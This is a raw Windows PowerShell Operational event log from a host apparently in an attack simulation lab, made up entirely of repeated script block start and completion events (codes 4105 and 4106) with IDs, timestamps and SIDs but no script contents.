RecordNumber=2046028
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046027
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046026
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046025
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046024
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046023
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046022
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046021
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046020
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046019
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046018
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046017
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046016
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046015
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046014
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046013
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046012
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046011
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046010
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046009
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046008
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046007
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046006
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046005
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046004
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046003
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046002
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2046001
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2046000
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045999
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045998
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045997
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045996
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045995
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045994
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045993
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045992
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045991
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045990
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045989
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045988
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045987
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045986
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045985
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045984
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045983
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045982
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045981
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045980
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045979
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045978
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045977
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2045976
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2045975
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
